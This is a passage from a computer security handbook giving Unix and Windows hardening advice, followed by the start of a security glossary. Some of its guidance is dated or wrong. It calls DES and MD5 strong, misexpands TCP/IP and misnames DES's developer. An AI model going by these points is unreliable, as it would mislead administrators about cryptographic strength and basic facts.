Several Unix commands seem to obfuscate data but are ineffective as encryption. Don't use *rot13* or the *crypt* command, as they are trivial to break. Many systems provide strong encryption through a *des* command, or through the *openssl* application and libraries. Similarly, don't rely on the *sum* command for cryptographically strong checksums. Instead use *md5, md5sum*, or *openssl* to generate cryptographic message digests.

TCP/IP Networking

Unix systems are often used for network applications and services. Many network services are started by the *inetd* (or *xinetd*) daemon. Examine the configuration file(s) used by this daemon and disable any services that you do not need; protect other services with the TCP wrapper daemon *tcpd*, unless your *inetd* has built-in support for TCP wrappers.

Other network services are started at system boot by files in the */etc/init.d* or */etc/rc*.d* directories on in the files */etc/rc* and */etc/rc.local*. Disable any services that you do not use. Pay particular attention to services that may provide outsiders with information about your system or its users, such as fingerd.

Every Unix system should run its own host-based packet-filtering firewall. Consult vendor documentation to determine if your system has a firewall and how to use it. Typical firewall configuration tools include *ipfw, ipchains*, and *iptables*. These firewalls should be configured to block all packets by default, and to allow only packets destined for services you intend to provide. An external firewall should be used to prevent outsiders from accesses several protocols and services that might be offered by hosts in your organization (e.g., SNMP, NFS, NTP, LPD, Samba, RIP). Use static routing whenever possible.

Traditionally, several standard services depended on authentication by the hostname or IP address of the client, or by passwords sent in plaintext over the network connection. Neither of these approaches is secure. Instead, applications should use cryptographic approaches to authentication, with either shared or public key systems. Many applications (telnet, rlogin, rcp, rsh, ftp) can be disabled and replaced with Secure Shell (*ssh*), which provides strong authentication. Do so, and remove any *.rhosts* or */etc/hosts.equiv* entries that list ip addresses of trusted machines. Other services (pop, imap, http, ldap) should be compiled with the OpenSSL libraries to provide SSL/TLS connections to clients so that passwords are not transmitted unencrypted.

When possible, run network services as non-root users. Many network daemons can be configured to start up as root (in order to bind to a network port lower than 1024, which requires root privileges on most Unix systems), and then give up their privileges and change to a non-root user. Give each daemon its own non-root account to use, rather than sharing a single ("nobody") account. When possible, run network services in a *chroot* jail environment to limit the damage possible if they are compromised.

If you run anonymous FTP services, use an up-to-date version of the FTP daemon. Don't provide your real */etc/passwd* file in the FTP area. Make sure that */etc/ftpusers*, the list of users who cannot connect by FTP, includes at least *root, uucp, bin*, and any other account that does not belong to an actual human being. Be paranoid about the directory permissions and ownership in the FTP area; configure "incoming" directories to prevent downloads and "outgoing" directories to prevent uploads. Scan your FTP logs regularly.

If possible, use *postfix, exim*, or *qmail* instead of *sendmail* on mail servers. Never use anything but the latest version of your MTA. Use mail aliases to insure that mail to any valid non-user account is delivered to a real user; in particular, be sure that mail can be delivered to *root, postmaster*, and *abuse* addresses. Protect the mail aliases file from changes by unauthorized individuals. If you have mail aliases that deliver mail to programs or files, examine them carefully and delete them if possible.

Do run the *authd/identd* daemon if you have multiuser machines. This can help you if you receive a report of someone at your system attacking another system. Use a version that returns encrypted identifiers to avoid exposing user information to outside systems.

If you don't use RPC, disable the portmapper daemon; if you do, restrict access to it and use the securenets feature if it's available. Disable any RPC services provide by *inetd* that you don't use (and *rexd* in particular). Use Secure RPC if it's available on your system. Only Secure RPC provides a reasonable basis for using NIS+ or NFS. Avoid using NIS or NIS+ in compatibility mode. If you use NFS, use version 3 in TCP mode if possible, and limit the number of filesystems you export and the set of hosts who may mount them. Try to export filesystems read-only. Unless you specifically tell it not to, NFS protects exported root-owned files from modification by root on the client host so it can be beneficial to insure that all exported files and directories are owned by root, rather than by other users (such as *bin*) that might exist on the client host.

If you use X11, enable the best authentication possible. Kerberos or Secure RPC are strong authentication systems. "Magic cookies" are weaker. The *xhost* program provides the least security. Tunneling X11 connections through SSH also provides strong protection.

If you provide SMB service with Samba, prefer "user" or "domain" security to "share" security. Enable encrypted passwords, and require that clients use a recent version of the SMB protocol with Samba's "min protocol" option. Don't use the "admin user" option or map the DOS archive bit to the Unix executable permission. Learn how to use the "veto files" option.

Keep an eye on your network. Scan the output of *netstat* and *lsof* regularly to see what network connections are being made to and from your system. Use *who* and *last* to see user connections. Use *nmap, Nessus, ISS*, and other network security scanners to probe your system from the outside to see if you have vulnerabilities that should be corrected. For some machines, it may be best to disconnect them from the network altogether.

Defending Accounts

The first line of defense for Unix accounts is their password. Unix systems don't store user passwords in plaintext; instead, they store a cryptographic hash of the password that can not be decrypted into the password. When a user logs in, the system computes the hash of the password they type and compares it to the stored hash.

Older Unix systems stored user account information and encrypted passwords in the */etc/passwd* file. This file must be world readable so that processes can associate user ids with login names. Unfortunately, that meant that local users (or others) could copy the *passwd* file and attempt to find passwords by encrypting common dictionary words, account names, etc. and comparing their encrypted attempts with the passwords listed in the files.

Newer Unix systems continue to store public account information in */etc/passwd*, but store the encrypted password information in a file called */etc/shadow* (or sometimes */etc/passwd.adjunct*) that is readable only by root.

Many Unix systems come with several default accounts that are used to separate process or file ownership privileges, such as *daemon, bin, uucp*, etc. Make sure that the encrypted password entry for all of these accounts begins with a "*" character so that no possible password can be used to access the account. Here's an excerpt of a */etc/shadow* file:

```
root:$1$24g7KF8j$Rjky384Fd1PvtSCOJ/WW.1:12264:0:99999:7:::134551156
bin: *:10890:0:99999:7:::
daemon:*:10890:0:99999:7:::
adm:*:10890:0:99999:7:::
lp:*:10890:0:99999:7:::
sync:*:10890:0:99999:7:::
shutdown:*:10890:0:99999:7:::
halt:*:10890:0:99999:7:::
```

In this example, only the root account has a valid password. No one can log into the other accounts (although root can still assume their privileges with the *su* command if necessary). On many systems, account passwords can be set to expire after a certainly amount of time, which provides valuable protection against an attacker taking over a dormant account which the actual owner wouldn't notice. Use a lifetime between one and six months. On many systems, you can require that passwords meet certain strength requirements (length of password, variety of characters, etc.) This functionality is often available through PAM on systems that support it.

It's a good idea not to create default or guest accounts, but if you must, consider using the *rsh* or *rbash* restricted shell so that the account can only run a limited number of commands (don't confuse this with the remote shell client, also called *rsh*). Make sure that none of the commands provide access to an unrestricted shell (as many editors do).

Protecting Against Programmed Threats

Never unpack or compile new software as root. It's often possible to compile software in a *chroot* environment to protect yourself against some kinds of Trojan horses.

Keep an eye on the PATH environment variable of users (especially root). The PATH specifies the list of directories that will be checked when a command is typed without giving an absolute path. Root's PATH should only contain standard directories that are writable only by trusted accounts, and that are regularly audited for changes (using software like *Tripwire* or *AIDE*). Don't put "." (the current directory) in the PATH, as this makes it easy for attackers to trick root into running Trojaned software. When working as root, get into the habit of typing full paths to important commands (e.g. */bin/su*). You should also use full paths in all shell scripts, startup files, or cron jobs that you write.

Preventing Denial of Service Attacks

Unix systems offer several protections against denial of service attacks. Many systems support per-user limits on CPU and memory usage through PAM or other login files, and per-user limits on disk usage through the quota system, if you enable it (and you should).

Processes and Memory

The *ps* command is used to view processes running on the system. On BSD-based Unix flavors, *ps –auxw* lists all processes; on SVR5-based flavors, use *ps –elf*. Each process has a process id number that is used to reference it in commands that interact with running processes.

Keep an eye on user processes. Use programs like *top* and *lsof* regularly to see what processes your system is running, and by whom. Enable process accounting so you can keep track of processes that have been run in the past and users who might be using excessive processing time.

The *nice* or *renice* commands can be used to reduce the amount of CPU priority a process has, and are useful for long-running background tasks. Root can also use nice to increase CPU priority for processes, which can be helpful when user processes are bogging down the system and root needs to get enough CPU time to stop them.

The *kill* command is used to send a signal to a process. Some signals are used to tell daemons to reread configuration files or to notify them about changes in the system. Other signals can be used to suspend or terminate a process. The TERM signal (sent by default with *kill <process-id>*, or explicitly using *kill –TERM <process-id>*) often terminates a process; the KILL signal unconditionally terminates a process. The TSTP signal suspends a process, and is useful when you want to make an image of the process's memory with *gcore* for forensic purposes, or when self-replicating processes have taken up all the process slots. In the latter case, you can suspend each process and then kill them all at once so that they can not spawn.

Unix systems support virtual memory, traditionally called *swap space*. When the system processes require more memory than RAM installed, disk space devoted to swapping is used instead. Insure that you have sufficient swap

space on disk partitions (some Unix systems can also swap to files on standard filesystem partitions, although this is less efficient).

Disks

In addition to the quota system, protect disks by isolating critical partitions from those that might be filled accidentally or intentionally, such as mail spool or file upload areas. Insure that each partition has sufficient space and inodes for file storage.

Monitor disk usage regularly and encourage users to archive and delete old files.

Microsoft Operating Systems

Microsoft's operating systems began with a focus on standalone personal computing. They were soon actively deployed in networks, initially using Microsoft's own protocols, and later converging primarily on TCP/IP. Systems based on Windows 3.x and Windows 95/98/ME are largely suitable only as client workstations; in contrast, systems based on Windows NT (including Windows 2000 and XP) are often configured as servers and have much more sophisticated security controls.[247] Differences in Windows versions can be dramatic. If you are in an environment that mixes several versions of Windows, each may require different attention. This section focuses primarily on hardening security on NT-based systems.

As with other operating systems, there's no substitute for reading the manuals, as well as other books, web sites, and mailing lists devoted to Windows security. Microsoft's web site includes a large security section with many documents and useful tools, including the Baseline Security Analyzer, a program that analyzes the configuration of NT-based systems and makes recommendations for hardening them. Run it frequently.

Users, Groups, and the Administrator

Windows also uses Users and Groups to control permissions; Groups in particular usually define the abilities of their Users, though finer-grained per-user access controls are also available. As distributed, the user "Administrator" is granted membership in the "Administrators" group, which provides superuser privileges over the system, and represents a key target for attackers.

The administrator account can be protected in several ways. Changing the name of the account to something else makes automated attacks more difficult (though it is often still possible to determine the new name); creating a disabled dummy account named Administrator can help you detect attacks. Administrator logins can be restricted to the local console, and can be audited.

It's crucial to keep track of which users belong to which groups. The "Computer Management" application in the Administrative Tools folder provides a view of all Users and Groups that are defined.

Filesystems and Security

Windows systems can use two types of filesystems: FAT-based filesystems (FAT, VFAT, FAT32) are compatible with all versions of Microsoft's operating systems, while NTFS filesystems are only support by NT-based versions. *Only NTFS provides any filesystem security*. The FAT filesystem has no concept of file ownership or access control, and should not be used on any secure system.

[247] Oddly, DOS systems are also useful as servers in some situations. Because they are single-user systems that offer few points of attack, they can be highly suitable for use as single-purpose log servers, terminal servers, firewalls, and even DNS servers.

Access to file and directories on NTFS systems are managed through Access Control Lists (ACLs). ACLs typically specify which permissions – read, write, execute, list contents, modify, or full control, among others – have been granted to which groups of users. Each object in the filesystem (and in the Windows registry) has an associated ACL or inherits one from a folder above it.

The ACL system is a powerful and complicated security tool that requires considerable study. Microsoft provides some security templates that assign reasonable ACLs to system folders and registry keys, but you may wish to be more restrictive.

Encryption

Microsoft Windows provides a unified CryptoAPI library for cryptographic support. On NTFS filesystems, files and directories can be encrypted using the *cipher.exe* tool, which sets up an transparent encrypted file system (EFS). EFS is based on public key cryptography so remote users can access their encrypted data as long as they present the appropriate private key; in addition, EFS can be configured so administrators can recover encrypted data if the key is lost (which may or may not enhance security).

TCP/IP Networking

Before Windows 2000

Microsoft Windows supported a peer-to-peer Ethernet networking model (NetBIOS over the NetBEUI transport protocol) before the widespread emergence of TCP/IP, and the legacy of NetBIOS remains in Microsoft's Printer and File sharing services, which are implemented as NetBIOS over TCP/IP (sometimes called "NBT"). The file sharing protocol itself is referred to as Server Message Block (SMB) or CIFS. Internet RFCS 1001 and 1002 describe NetBIOS over TCP/IP in great detail.

NetBIOS includes its own host name resolution and authentication protocols. In the simplest model, NetBIOS nodes (hosts) discover each other and register their names on the network by using broadcast packets. In addition to being difficult to scale up to larger networks, this mode makes it relatively simple for nodes to "steal" one another's registered name and effectively impersonate one another.

A more secure mode of operation requires the NetBIOS nodes to communicate (point-to-point) with hosts designated as NetBIOS name service nodes (sometimes called *WINS servers*) to register and look up names, and with NetBIOS datagram distribution nodes to broadcast packets at the NetBIOS level. The NetBIOS name servers can provide safeguards against machines spoofing each other's names. In addition, the registry key \HKEY_LOCAL_MACHINE\CurrentControlSet\Services\Netbt\Parameters\NoNameReleaseOnDemand can be set to 1 to prevent servers from responding to name release requests that might be forged by an attacker who wishes to claim a server's name and impersonate the server.

In most cases, users who wish to use a resource must first log into the SMB server providing that resource. The login process in modern SMB dialects uses challenge- response authentication.[248] When a user requests to log in, the SMB server sends a unique challenge string to the client. The client encrypts this string using a session key computed from a cryptographic hash of the user's password and returns the response to the SMB server. The SMB server performs the same computation and compares its results to the client's. If they match, the user is authenticated. The exact form of the computation depends on the SMB dialect in use; two major approaches ("LM" and "NT") are currently defined.

[248] Older SMB dialects (e.g., that used in Windows for Workgroups) allowed plaintext passwords to be sent over the network.

Note that this approach implies that the SMB server (or some other authentication server with which it communicates) has the user's hashed password available to it (but not necessarily the cleartext password). If this server is compromised, all the user hashed passwords are compromised (so the attacker may be able to masquerade as the user and connect to other SMB servers). On the other hand, this approach prevents the cleartext or hashed password from ever traveling over the network. SMB authentication servers must thus be protect like Kerberos domain controllers.

If Windows file sharing will not be used, NetBIOS over TCP/IP can be completely disabled in the Advanced TCP/IP Settings. If all machines in the network support the newer versions of the NetBIOS/SMB protocols, they should be configured to only respond to requests using the latest possible protocol version (NTLMv2 in most cases), to prevent an attacker from negotiating an earlier, flawed protocol. If remote administration of filesystems is not necessary, the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters\ AutoShareWKS can be set to 0 to disable it.

Windows can be configured to allow remote users access not only to files, but also to registry keys. The security permissions on the HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurePipeServers\winreg key determine which users can remotely modify the registry. It is important to insure that this group include only Administrators if remote access is necessary, and nobody at all otherwise. The *Remote Registry Access* service can also be disabled.

The Advanced TCP/IP Settings for network adaptors on Windows NT-based systems include a simple packet filter that can be configured to allow or deny incoming TCP or UDP packets by destination port, as well as filtering non-IP protocols.

Since Windows 2000

Windows 2000 domains provide significantly more control over participating clients than was available in earlier versions. Notably, domain security policies can override clients' local security policies when the client joins the domain, which can be useful to centrally insure that your client workstations have strong security.

Windows 2000 and later systems use Kerberos as their primary network security layer, although they continue to support NetBIOS, and the recommendations above apply. Kerberos, as discussed earlier in this handbook, provides for secure authentication and authorization for network services. The Windows 2000 Primary Domain Controller is the Kerberos master.

Windows 2000 also supports IPsec for creating virtual private networks. IPsec negotiation can be requested or required on client and server connections. IPsec is configured through the IP Security Policy Management application. Earlier Windows versions used a proprietary Microsoft protocol (PPTP) for VPN tunnels; in most cases, you should prefer IPsec unless you need to support older systems.

Windows XP also added a built-in stateful packet filter called Internet Connection Filter (ICF) that is ideal for systems that will be used as Internet clients. By default it only allows incoming packets associated with connections initially established by the client.

Defending Accounts

Recent Windows-based systems support long passwords for accounts. Encourage or force users to use longer passwords or passphrases rather than shorter ones to reduce the risk of password guessing. These systems also support "complexity requirements" for passwords and password expiration. On systems participating in Windows

2000 domains, passwords are stored on the domain controller and managed in the usual Kerberos fashion. Account lockout settings can also be turned on to make password-guessing attempts more costly.

By default, most Windows systems come without security auditing turned on. Auditing is configured in the Local Security Policy (or through the domain security policy). It can be useful to turn on auditing for account logons and account management (success and failure) in order to keep an eye on attempted logins. Audited events are displayed in the Event Viewer. Logging several kinds of failure events (such as failed privilege use) can also be helpful. Be sure to set maximum sizes for all logs (through the Event Viewer), and to disable guest access to logs.

Protecting Against Programmed Threats

Windows NT-based systems often come configured with several *services* enabled. Windows *services*, like Unix *daemons*, are background processes that provide functions to applications. In some cases, these services provide access to outsiders via the network, as they offer remote access services (like telnet) or remote procedure calls. For example, the Messenger service permits remote machines to pop up alert windows on local machines, and has been abused by spammers.

Using the *Services* application in the computer management console, ensure that all unnecessary services are stopped and disabled. On clients that don't share files, the *telnet*, *server, remote registry access*, and several other remote access services can be disabled to decrease points of vulnerability (sometimes at the expense of centralized management).

Using the local or group security policy, ensure that anonymous users have no access without explicit permissions (this setting appears in the Security Options folder in Local Policies on Windows 2000).

Preventing Denial of Service Attacks

Processes and Memory
Windows processes can be monitored and halted with the Task Manager. Task Manager can also adjust process priority to one of six levels, from "Low" to "Realtime", and display memory usage. Because few Windows systems are used in multiuser timesharing environments, process and memory overflow attacks are usually the result of an errant program that can be detected and halted through Task Manager.

Disks
NTFS supports a user quota system that can be used to protect disks from overflow conditions. Again, this is most useful on shared client workstations, as servers should generally have few users other than their administrators, and server applications often require administrative privileges.

Network
Windows NT-based systems provide several registry settings that can help protect them from some kinds of network denial of service attacks, such as SYN flooding. In most cases, however, these settings are not enabled. Settings to examine include (in \HKEY_LOCAL_MACHINE\CurrentControlSet\Services\Tcpip\Parameters) SynAttackProtect, TcpMaxHalfOpen, TcpMaxHalfOpenRetried,

Other kinds of denial of service attacks can be made more difficult by disabling automatic detection and discovery functions. The keys EnablePMTUDiscovery, EnableDeadGWDetect, and EnableICMPRedirects should be set to 0 to prevent the system from responding to unusual network conditions in possibly surprising ways. Interfaces should be directed not to perform automatic router discovery, and should be configured for static routes.

ANNEXES

ANNEX 1. GLOSSARY

802.11
802.11 is a set of developing IEEE standards for wireless local area networks (WLAN). The IEEE fosters the development of standards that often become national and international standards. The organization publishes a number of journals, has many local chapters, and several large societies in special areas, such as the IEEE Computer Society. For further information on the IEEE and the IEEE Computer Society, see http://standards.ieee.org and http://www.computer.org/.

Information about definitions and functional requirements for 802.11 may be found in this document: http://grouper.ieee.org/groups/802/11/Documents/DocumentArchives/1992_docs/1192091.DOC

Access
The ability to enter a secured area and, in the case of accessing a computer, to read, write, modify, or use any of the computer's system resources.

Access authorization
Permission granted to users, programs, or workstations.

Access control
A set of procedures performed by hardware, software, and administrators to monitor access, identify users requesting access, record access attempts, and grant or deny access. Security policies should be supported by access control, which assist in the prevention of unauthorized use of any of a company's system resources either externally (by an intruder) or internally (by an employee who should not have access).

Accountability
Ensuring that activities on supported systems can be traced to an individual who is held responsible for the integrity of the data.

Assurance
A level of confidence that the information system architecture mediates and enforces the organization's security policy.

Attachment
An attachment is a method by which text and images can be sent via e-mail. Any non-text file (a program or a picture or a video) is converted ("encoded") into a printable form and inserted into the text message. Anything stored in your computer is composed of zeros and ones. Encoding, in its simplest form, would send the zeros and ones as printable characters.

Attack
An assault on system security from an intelligent threat; a deliberate attempt to evade security services and violate the security policy of a system.

Audit
The independent collection of records to access their veracity and completeness.

Audit trail
An audit trail is a documented record of events allowing an auditor (or security administrator) to reconstruct past system activities, it may be on paper or on disk. In computer security systems, it is a chronological record of when users log in, how long they are engaged in various activities, what they were doing, whether any actual or attempted security violations occurred.

Authentic signature
A signature, particularly a digital signature, that can be trusted because it can be verified.

Authenticate
In networking, to verify the identity of a user, device, or any other system entity.

Authentication
The process of establishing the legitimacy of a node or user before allowing access to requested information. During the process, the user enters a name or account number (identification) and password (authentication).

Authorization
Granting officially approved access rights to a user, process, or program in accordance with a company's security policy. Usually authorization is completed after the user is authenticated. The user may then be authorized for various levels of access or activity.

Availability
The portion of time a system can be use for productive work.

Backdoor
A way to bypass the normal login security and gain control of a computer without necessarily obtaining the owner's consent. If a backdoor is installed on a network-attached computer, a person anywhere on the Internet may be able to gain control of the computer without your knowledge or approval. A backdoor need not have malicious intent; e.g. operating systems are sometimes shipped by the manufacturer with privileged accounts for use by field service technicians or the vendor's maintenance programmers. However, they may also be used for intrusion by unauthorized persons. Also known as a "trap door".

Backup
The process of copying computer files to some other location either on the computer, or on storage devices that may be separated from the computer. Backups allow you to recover data in the event that the originals are no longer available, for reasons ranging from accidental deletion to physical damage, theft, or other loss.

Bandwidth
Capacity of a network or data connection, often measured in kilobits per second (kbps) for digital transmissions.

Buffer Overflow
A software bug that occurs when a program moves data into a space in memory, but there is not enough room in memory to store that data. The program may discard characters to try to make space for the new data. Destroying these characters can cause all sorts of problems, and often can allow things to happen which affect the integrity or security of the program. Buffer overflows can be avoided (if you are programming) by checking that there is sufficient spaced in memory before doing a move.

Bulletin board
Allows users from the Internet to write or read messages posted by other users and to exchange programs and files.

CERT
The Computer Emergency Response Team was established at Carnegie-Mellon University after the 1988 Internet worm attack named Morris.

Compromise
Violation of a company's system security policy by an intruder that may result in the modification, destruction, or theft of data.

Computer crime
Any form of illegal act involving electronic information and computer equipment.

Computer fraud
A computer crime that an intruder commits to obtain money or something of value from a company (or individual). Often, all traces of the crime are covered up. Computer fraud typically involves modification, destruction, theft, or disclosure of data.

Confidentiality
Ensuring that sensitive data is limited to specific individuals (external and internal) or groups within an organization. The confidentiality of the information is based on the degree to which an organization must protect its information – for example, registered, proprietary, or nonproprietary.

Conflict-of-interest escalation
A preset procedure for escalating a security incident if any members of the security are suspect.

Contingency plan
A security plan to ensure that mission-critical computer resources are available to a company in the event of a disaster (such as an earthquake or flood). It includes emergency response actions, backup operations, and postdisaster recovery.

Control
A protective action that a company takes to reduce its risk of exposure.

Cookie
A file that is written to or read from your hard disk at the request of a remote web site. The web site requests that the file be written and reads it later. As a simple

example, if you tell a web site what your username is, it can request that this information be written to your disk. When you go back to that web site, it reads the cookie and knows what your username is. Cookies may be used to generate profiles of web usage habits and, in some cases, may infringe on personal privacy.

Countermeasure
An action that a company takes to reduce threats to a system. A countermeasure can be a hardware device, software package, procedure, and so on.

Cracker
Someone who tries to break the security of, and gain access to, someone else's system without being invited. (See also hacker).

Cryptography
The mathematical science that deals with transforming data to render its meaning unintelligible, prevent its undetected alteration, or prevent its unauthorized use. If the transformation is reversible, cryptography also deals with restoring encrypted data to intelligible form.

Data-driven attack
A form of attack that is encoded in innocuous-seeming data executed by a user or other software to implement an attack. Data-driven attacks are a serious concern even to protected systems because they may get through firewalls in data form and launch an attack on the system behind the firewall.

Data Encryption Standard (DES)
An encryption standard developed by EBM and then tested and adopted by the National Bureau of Standards. Published in 1977, the DES standard has proven itself over nearly 20 years of use in both government and private sectors.

Data integrity
The assurance that a company's data has not been exposed to modification or destruction either by accident or from malicious acts.

Decode
Conversion of encoded text to plain text through the use of a code.

Decrypt
Conversion of either encoded or enciphered text into plain text.

Dedicated
A special purpose device. Although it is capable of performing other duties, it is assigned to only one.

Defense in depth
The security approach whereby each system on the network is secured to the greatest possible degree. May be used in conjunction with firewalls.

Denial of service
A Denial-of-Service attack is when computers on the Internet are bombarded with (garbage) messages to such a great extent that they spend all of their time responding to these messages. Real user traffic can no longer get through.

Domain Name Server spoofing
Assuming the Domain Name Server (DNS) name of another system by either corrupting the name service cache of a victim system or compromising a domain name server for a valid domain.

E-mail bombs
Code that when executed sends many messages to the same address for the purpose of using up disk space or overloading the e-mail or Web server.

Easy access
Breaking into a system with minimal effort by exploiting a well-known vulnerability, and gaining superuser access in less than 30 seconds (a piece of cake for an intruder).

Eavesdropping
Passive secret wiretapping i.e. without the knowledge of the originator or the intended recipients of the communication.

E-mail
The computer-based equivalent of postal mail – e(lectronic)-mail. Properly addressed e-mail can be sent and received by anyone connected to the Internet. From the perspective of the Internet, all e-mail is composed of printable text (ASCII) messages.

Encryption
The process of scrambling files or programs, changing one character string to another through an algorithm (such as the DES algorithm). Encryption is a way to disguise information so that it cannot be read easily, except by the intended recipient. In the simplest case, there is a "key" that is used to disguise that information. It can only be read after being decrypted, and to decrypt it, you would need to know the proper "key".

End-to-end encryption
Encryption at the point of origin in a network, followed by decryption at the destination.

Environment
The aggregate of external circumstances, conditions, and events that affect the development, operation, and maintenance of a system.

Escalation
The procedure of reporting (and passing responsibility for resolving) a security breach to a higher level of command. See also, :Internal escalation," "External escalation," and "Conflict-of-interest escalation."

External escalation
The process of reporting a security breach to an individual or group outside the department, division, or company in which it occurred. Once a problem is escalated, responsibility for resolving that problem is either accepted or shared with the party to whom the problem is escalated.

Extranet
Extranet refers to extending the LAN via remote or Internet access to partners outside your organization such as frequent suppliers and purchasers. Such relationships should be over authenticated link to authorized segments of the LAN and are frequently encrypted for privacy.

Fault tolerance
A design method that ensures continued systems operation in the event of individual failures by providing redundant systems elements.

File compression
File compression is a means of storing or transmitting a large quantity of text, images, or code. Even entire archives may be compressed; in fact, this is a standard backup procedure. Examples of compressed archives include "zip" and "tar" files which can contain very bulky information in a dense form. They are "unzipped" and individual files may be called up through fairly simple processes. There are a number of vendors and some freeware available for file compression.

Firewall
A security system that controls traffic flow between networks. Several configurations exist: filters (or screens), application relays, encryption, demilitarized zones (DMZ), and so on. Firewalls have two forms: a firewall may be software program running on your computer or it may be a separate piece of hardware that watches what is being sent and received over a network. Firewalls can block transmissions that are unexpected or disallowed. They can also control communications between you and the outside world.

Gateway
A bridge between two networks.

Global System for Mobile Communications (GSM)
GSM is an open, non-proprietary system that is constantly evolving. GSM satellite roaming has extended service access to areas where terrestrial coverage is not available.

Global Positioning System (GPS)
Used primarily for navigation, this satellite-based system maps the location of various receivers on Earth.

Hacker
Someone with an interest in computers who enjoys experimenting with them. The term has also come to mean a person with malicious intentions who gathers information on computer security flaws and breaks into computers without the system owner's permission, although the term cracker is more appropriate for an exclusively negative connotation. (See also Cracker).

Hacking
In general, writing code for computers. In a security context, the term often is used to mean exploiting system vulnerabilities to gain unauthorized access.

HTML
HyperText Mark-up Language tells a web browser or mail program how to display text and images. It can also give other instructions to the browser/mail program. A mark-up language allows commands or instructions embedded in the text to be displayed and printed. An example of a mark-up language is:

> This sentence is <<Start Bold>>very<<End Bold>> short.

When the sentence is displayed, the words within the << >> are take as instructions on what to do. As a result, most of the sentence would be displayed as: This sentence is very short.

Identification
Recognizing users on a company's system by using unique names.

Identity theft
Identity theft is when someone gathers enough information about you to convince others (such as banks, stores or governments) that they are you.

Incident-response procedures
Formal, written procedures that detail the steps to be taken in the event of a major security problem, such as a break-in. Developing detailed incident-response procedures before the occurrence of a problem is a hallmark of a well-designed security system.

Insider attack
An attack originating from inside a protected network.

Internal escalation
The process of reporting a security breach to a higher level of command within the department, division, or company in which the breach occurred.

Internet
A web of different, intercommunicating networks funded by both commercial and government organizations. The Internet had its roots in early 1969 when the ARPANET was formed. ARPA stands for Advanced Research Projects Agency (which was part of the U.S. Department of Defense). One of the goals of ARPANET was research in distributed computer systems for military purposes. The first configuration involved four computers and was designed to demonstrate the feasibility of building networks using computers dispersed over a wide area. The advent of open networks in the late 1980's required a new model of communications. The amalgamation of many types of systems into mixed environments demanded better translator between these operating systems and a non-proprietary approach to networking in general. Telecommunications Protocol/Internet Protocol (TCP/IP) provided the best solutions to this.

Internet Engineering Task Force (IETF)
A public forum that develops standards and resolves operational issues for the Internet.

Internet Service Provider (ISP)
The company through which an individual or organization receives access to the Internet. Typically, ISPs provide e-mail service and home-page storage in addition to Internet access. Some ISPs also provide offsite data storage and backup services.

Intranet
A company's internal network.

Intruder
An entity that gains or attempts to gain access to a system or system resources without having authorization to do so.

Intrusion detection
A security service that monitors and analyzes system events for the purpose of finding, and providing real-time or near real-time warning of, attempts to access system resources in an unauthorized manner.

Intrusion Detection System (IDS)
A system dedicated to the detection of break-ins or break in attempts either manually via software expert systems that operate on logs or other information available on the network.

International Standards Organization (ISO)
A group that sets standards for data communications.

ISP
The company through which an individual or organization receives access to the Internet. Typically,

ISPs provide e-mail service and home-page storage in addition to Internet access. Some ISPs also provide offsite data storage and backup services.

Key
In encryption, a key is a sequence of characters used to encode and decode a file. You can enter a key in two formats: alphanumeric and condensed (hexadecimal). In the network access security market, "key" often refers to the "token," or authentication tool, a device utilized to send and receive challenges and responses during the user authentication process. Keys may be small, hand-held hardware devices similar to pocket calculators or credit cards, or they may be loaded onto a PC as copy-protected software.

Keyboard logger
A program that captures everything that is typed on a keyboard. The data can be written to disk or sent to someone else via the Internet. If a keyboard logger is installed on a computer, everything that is entered on the computer, including usernames and passwords, can be captured, just as if someone was looking over your shoulder while you typed!

Least privilege
Designing operational aspects of a system to operate with a minimum amount of system privilege. This design reduces the authorization level at which various actions are performed and decreased the chance that a process or user with high privileges may be caused to perform unauthorized activities resulting in a security breach.

Local Area Network (LAN)
An interconnected system of computers and peripherals, LAN users share data stored on hard disks and can share printers connected to the network.

Logging
The process of storing information about events that occurred on the firewall or network.

Log processing
How audit logs are processed, searched for key events, or summarized.

Log retention
How long audit logs are retained and maintained.

Logic bomb
A program inserted into software by an intruder. A logic bomb lies dormant until a predefined condition is met; the program then triggers an unauthorized act.

Network computer architecture
A computing architecture in which components are dynamically downloaded from the network into the client device for execution by the client. The Java programming language is at the core of network computing.

Network-level firewall
A firewall in which traffic is examined at the network protocol packet level.

Network worm
A program or command file that uses a computer network as a means for adversely affecting a system's integrity, reliability, or availability. A network worm may attack from one system to another by establishing a network connection. The worm is usually a self-contained program that does not need to attach itself to a host file to infiltrate the networks.

Open Source
Programs that are distributed in source format under conditions that allow free modification and distribution. Since the source code is available, people can see how it works and are able to change it. The authors of Open Source code often encourage other programmers to participate in the further development of the programs. Open Source also includes software that is given away for free and many Open Source programs, both free and for sale, offer functionality that is similar to proprietary programs that may costs a substantial amount of money. Sometimes Open Source programs are incorporated into fee-based programs in special licensing arrangements. See www.opensource.org and www.fsf.org for additional information.

Operating system
System software that controls a computer and its peripherals. Modern operating systems, such as Unix, Linux, and Windows XP handle many of a computer's basic functions.

Password
A secret code assigned to a user, known by the computer system. Knowledge (and entry) of the user ID and password is often used to authorize that user to access system resources

Password cracker
A software program containing whole dictionaries that tries to match user passwords.

Password sniffing
Passive wiretapping, usually on a local area network, to gain knowledge of passwords.

Penetration
Successful, repeatable, unauthorized access to a protected system resource.

Penetration test
A system test, often part of system certification, in which evaluators attempt to circumvent the security features of the system and penetrate various layers of systems resources.

Perimeter-based security
The technique of securing a network by controlling access to all entry and exit points of the network.

Permissions
The authorized actions a subject can perform with an object (i.e. read, write, modify, or delete).

Personal Identification Number (PIN)
A sequence of numbers or letters that serve to authenticate a user to a system or service. A PIN is similar to a password, but generally pertains to completing financial transactions (bank or credit card accounts) or physical access to a location rather than access to computing resources.

Point of Contact (POC)
The person or persons to whom users and/or system administrators should immediately report a break-in or suspected security breach. The POC is the information-system equivalent of a 911 emergency line.

Policy
Organizational- level rules governing acceptable use of computing resources, security practices, and operational procedures.

Privacy
The protection of a company's data from being read by unauthorized parties. Safe guards such as encryption can provide a level of assurance that the integrity of the data is protected from exposure.

Private Key
The element of a public/private key pair that is kept secret by the key pair owner. The private key is used to decrypt messages that have been encrypted by the corresponding public key. It is also used to construct a digital signature – the document to be signed is hashed using a secure hash algorithm and then the hashed value is encrypted using the private key; this process forms the digital signature.

Protocols
Agreed-upon methods of communications used by computers.

Public Key
